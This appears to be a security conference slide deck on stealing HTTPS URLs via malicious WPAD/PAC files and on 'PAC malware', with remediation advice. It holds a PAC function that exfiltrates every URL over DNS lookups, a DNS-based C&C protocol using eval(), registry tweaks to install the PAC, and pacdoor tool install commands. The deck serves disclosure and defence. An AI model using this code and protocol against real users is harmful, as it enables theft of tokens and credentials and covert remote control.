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Teaser

You're in a potentially malicious network (free 
WiFi, guest network, or maybe your own 
corporate LAN). You're a security conscious 
netizen so you restrict yourself to HTTPS 
(browsing to HSTS sites and/or using a "Force 
TLS/SSL" browser extension). All your traffic 
is protected from the first byte. Or is it?



Roadmap

• PAC+WPAD Refresher
• Stealing HTTPS URLs over the LAN/WLAN, 

and why you should care
• PAC malware - capabilities, C&C
• PAC feature matrix (reference material)
• Ideas for remediation and fix



PAC Refresher

A proxy auto-config (PAC) file
• Designates the proxy to use (or direct conn.) for each URL
• Javascript based
• Must implement FindProxyForURL(url,host),

which the browser invokes



PAC Example

function FindProxyForURL(url, host) {

// our local URLs from the domains below example.com don't need a proxy:

if (shExpMatch(host, "*.example.com"))

{

return "DIRECT";

}

// All other requests go through port 8080 of proxy.example.com.

// should that fail to respond, go directly to the WWW:

return "PROXY proxy.example.com:8080; DIRECT";

}



PAC Refresher (contd.) - the Javascript “desert”

• No window object, no document object - no DOM functions
• No XHR
• No loading of code via <script> injection
• No hitting external resources via <img> injection
• etc., etc., etc.

• What is available:
• dnsDomainIs, isInNet, isPlainHostName, localHostOrDomainIs, dnsDomainLevels
• weekdayRange, dateRange, timeRange, shEpxMatch
• dnsResolve, isResolvable
• myIpAddress
• alert (non-standard, not in all browsers)



PAC Refresher (contd.) - obtaining a PAC file

• Manual PAC config
• Browser config option for PAC 
• URL/file

• Web Proxy Auto Discovery (WPAD)



WPAD Refresher
• Requires a specific checkbox checked in the browser/system 

configuration
Quite common in enterprises, etc.

• First priority: DHCP (IPv4 only)
• DHCP option 252 pointing at the PAC URL

• Second priority: DNS 
• Browser fetches http://wpad.domain/wpad.dat
• See e.g. 

https://blogs.msdn.microsoft.com/askie/2008/12/18/wpad-detection-in-internet-explorer/

• Supported by Windows and Mac OS/X: Edge, IE, Firefox, Chrome, 

Safari. Not supported by iPhone, Android



PART I
HTTPS subversion with malicious PAC



HTTPS subversion with malicious PAC - main idea
• Scenarios: malicious actor in

• Public WiFi (cafe, hotel, airport, …)
• LAN (enterprise - lateral movement)

• Force the browser to use a malicious PAC
• DHCP spoofing/hijacking, sending out option 252
• DNS spoofing/hijacking, responding for /^wpad/ queries

• Browser requests the PAC file from the attacker’s IP/URL

• Browser then exposes the (https://) URLs to the PAC function
• FindProxyForURL(url, host)
• This is not an attack on TLS/SSL, TLS/SSL versions/features/configurations can’t block it.

• Implement exfiltration in the function, using DNS lookups
• dnsResolve / isResolvable



Malicious PAC Implementation
function exfil_send(msg)
{

var chunk=0;
curmsg="."+chunk+"."+exfil_msg_num+"."+exfil_cl
ient+"."+tail;
curlabelsize=0;
for (p=0;p<msg.length;p++)
{

/* Code to take care of long messages 
and DNS labels here */
byte=msg.charCodeAt(p);
curmsg=(Math.floor(byte/16)).toString(16
)+(byte%16).toString(16)+curmsg;
curlabelsize+=2;

}

dnsResolve("x"+curmsg)+"";
exfil_msg_num++;
return exfil_msg_num;

}

function FindProxyForURL(url, host)
{

exfil_send(url);
return "DIRECT";

}



Examples: account/resource hijacking

• URL path/query tokens
• DropBox shared file URL 
• Google Drive shared file URL (only when originally shared with a non-Google mailbox)
• OpenID authentication URLPassword reset URL
• etc., etc., etc. …

• URL authorization credentials (scheme://username:password@...)
• HTTP/HTTPS
• FTP

• The FTP/HTTP credential theft is an “optimization”
• Blindly proxying all traffic through an attacker proxy will cut it
• But it’s terribly inefficient…



Prior art

• WPAD➜PAC for forcing traffic through (malicious) HTTP proxy 
servers

• http://www.netresec.com/?page=Blog&month=2012-07&post=WPAD-Man-in-the-Middle
• http://www.ptsecurity.com/download/wpad_weakness_en.pdf

• However, while using a malicious proxy works well for HTTP, 
    it doesn’t reveal any plaintext when HTTPS traffic is 

forwarded



Prior art - identical concept

• While we were conducting our own research, this very brief answer by Leonid 
Evdokimov ("darkk") showed up in StackExchange (July 27th, 2015):
http://security.stackexchange.com/questions/87499/can-web-proxy-autodiscovery-leak-https-urls

• We were recently made aware of a brief mentioning in Nicolas Golubovic’s
MSc thesis, published May 3rd, 2016: https://golubovic.net/thesis/master.pdf (pp 50-52)

• Also, we were recently made aware that Maxim Andreev (“cdump”) blogged 
about this concept (in Russian     ) on June 4th, 2015:
https://habrahabr.ru/company/mailru/blog/259521/

(BTW Maxim presents in parallel to us - good luck!)



Prior art (our contributions)

Our contributions:
• Full weaponization (support for long URL, multi-messages, multi-clients)

• 2-way protocol

• Free code

• PAC malware concept (beyond stealing HTTP traffic)

• PAC feature matrix

• All this in English!



Attack framework

• Spoof DHCP response and/or DNS response for “wpad*”, send
attacker’s URL/IP for PAC

• Have the attacker’s web server serve the PAC
• Set up an attacker controlled DNS server with attacker owned

domain as C&C
• Profit!!!



Uplink (exfiltration) protocol

• DNS suffix (domain) owned by the attacker - suffix

• Each client (=browser) has a unique ID (can be random) - client_id

• Each message has a unique ID (can be incremental) - message_id



Uplink (exfiltration) protocol

• Per a (binary - octets) message
• It is first hex-encoded (not so efficient…)
• Broken into fragments, each up to 63 characters
• Every few fragments that fill a DNS query (total length limit 253), form a chunk, which has a 

chunk ID chunk_id. The chunk is exfiltrated via a DNS query

• DNS query format (host name for the browser to query):

fragmenti.fragmenti+1.fragmenti+2.fragmenti+3.
chunk_id.message_id.client_id.suffix

• The last chunk is prepended by “x”, to mark end of message



Demo time…

$ git clone https://github.com/SafeBreach-Labs/pacdoor.git
$ cd pacdoor
$ python setup.py install
$ pacdoor -h



• Downlink
• Discussed in part II 
• eval() for maximum flexibility

• Uplink
• ~100 bytes per DNS query, unoptimized
• Packet loss, latency issues

The fine print

• The existing WPAD problem
• Existing WPAD (in-LAN) - intercept PAC resource (offline) and mimic
• Missing WPAD (ex-LAN = WiFi) - problem with IE (DIRECT means Local Intranet). Force all 

traffic through a proxy?

• URL Interception quality varies among browsers
• Chrome, Firefox - good; IE/Edge/Safari - bad
• HTTPS/HTTP Auth credentials (in URL): Firefox
• FTP credentials (in URL): Firefox, IE8, Safari



Summary

• The common belief that HTTPS traffic is secure even when used 
in a hostile network (compromised LAN, public/untrusted WiFi) is 
refuted (in the WPAD scenario)

• A way to bypass HTTPS, providing access to https:// URLs
• Browser has to be configured for WPAD
• Assuming access to LAN (public WiFi/lateral movement scenario)
• Interception quality is browser-specific

• https:// URLs can carry credentials and/or access tokens - thus 
are sensitive

• ftp:// credentials are also supported



PART II
PAC malware



PAC malware - main idea

• Install PAC locally (from a malware - possibly runs once)
• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\AutoConfigURL = url

• (Static) PAC URL supported by iPhone, Android (5.0 and above)
• file:// (some browsers) vs. http(s):// (local - Install web server;  

or remote)
• Can tweak registry to calm down IE (the zone problem)

• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyByPass = 0

• Can tweak registry to have IE report each URL in full
• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\

EnableAutoproxyResultCache = 0



Prior art

Some financial malware (AKA “bankers”) variants install malicious 
PAC to only send targeted banks’ traffic to their malicious proxy, and 
to obfuscate their logic:

https://securelist.com/analysis/publications/57891/pac-the-problem-auto-config/

https://www.zscaler.com/blogs/research/banking-malware-uses-pac-file

(no interception of HTTPS URLs since the traffic is analyzed at the 
proxy, not at the PAC script)



PAC malware capabilities

• PAC can be installed as a local file or UNC file 

• PAC can be installed as a URL
• Local machine URL (by installing a web server on the machine)
• Remote URL (on LAN/WiFi or Internet)

• URL interception

• 2-way link (uplink and downlink) over DNS queries and responses
• C&C (DNS server) on LAN/WiFi or Internet



PAC malware capabilities

• alert() messages (IE only)
• eval() for maximum flexibility

• “Routing” to a proxy (return value from FindProxyForURL)
• DDoS against a remote site (IP:port)
• DoS (browsing to specific sites) against the local machine (prevent security SW update if 

done over HTTP/HTTPS)



Downlink protocol

• 3 bytes are encoded as the low significant 3 octets of an IP 
address, returned via dnsResolve()

• Messages are numbered, a message can be 1...224-1 bytes

• The message length is obtained by resolving len.message_id.suffix
• Message data (up to 3 octets) is obtained by resolving

fragment_num.message_id.suffix



Demo time…

$ git clone https://github.com/SafeBreach-Labs/pacdoor.git
$ cd pacdoor
$ python setup.py install
$ pacdoor -h



Summary

• Unorthodox installation (PAC only) makes it harder for AV to detect
• PAC malware is capable of (browser dependent):

• https:// URL interception - account/session/resource hijacking
• DoS (website access from local machine), DDoS (against remote sites)
• alert()-based phishing

• 2-way C&C via DNS, flexible execution via eval()



PAC capability matrix



Edge 
25.10586.0
.0

IE11
11.0.9600.18376 
update level 
11.0.33

IE8
8.0.7601.175
14

Firefox
47.0.1

Chrome 
51.0.2704.10
6m
(2016-07-19)

Safari
9.1.2
(Mac OS/X 
10.11.6)

iPhone
9.3.3

file:// support By default:
no

By default: no yes yes yes no no

FindProxyForUrl 
invocation 
frequency and data

By default:
scheme+ho
st only, 
once per 
combo

By default:
scheme+host 
only, once per 
combo

Full URL, 
once per 
scheme+
host

Full URL, 
every 
time

Full URL, 
every time

scheme+
host only, 
once per 
TCP conn.

scheme+
host only, 
once per 
TCP conn.

URL credential 
interception

no no ftp:// 
credentials 
only

yes no ftp:// 
credentials 
only 
(Finder)

no

Alert destination none Screen popup Screen 
popup

Browser 
console

Netlog exception exception

dnsResolve bug yes yes yes no no no no



Ideas for 
remediation and fix
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Remediation

• User-level
• Disable WPAD in untrusted networks (or in general)
• In an untrusted LAN/WiFi, use a browser that exposes as little as possible of the URL to 

FindProxyForUrl

• Corporate level
• Avoid using WPAD, and enforce policy to turn it off at the endpoints

• Server side
• Remove security-related data/tokens from the URL (move them to the body section, cookie, 

headers, etc.)
• Move away from HTTP-Auth (assuming it’s under TLS…)



Fix

• IETF
• Fix WPAD “standard” - force secure PAC retrieval (over HTTPS?)
• Standardize PAC - trim the URL to host only, deprecate DNS resolution?

• Browser vendors
• Restrict PAC functionality - trim the URL to host only, disable DNS resolution?



Conclusions

• In general
• Interception of HTTPS URLs has serious consequences - credential theft, session hijacking, 

loss of privacy
• Additionally - PAC can do phishing (alert), DoS/DDoS

• Remote scenario
• Trusting PAC retrieved in the clear from unverified external sources for handling secure 

(HTTPS) traffic is a problematic concept
• Difficult to detect locally (AVs, etc.)

• PAC malware scenario
• Unusual malware “persistence” - not trivially detected
• Still very powerful – can obtain more info than the remote attack due to config tweaks



Q&A
… Don’t forget to fill the feedback form!

@itzikkotler

itzik@safebreach.com
amit@safebreach.com



For latest version, always visit
 

https://github.com/SafeBreach-Labs/pacdoor


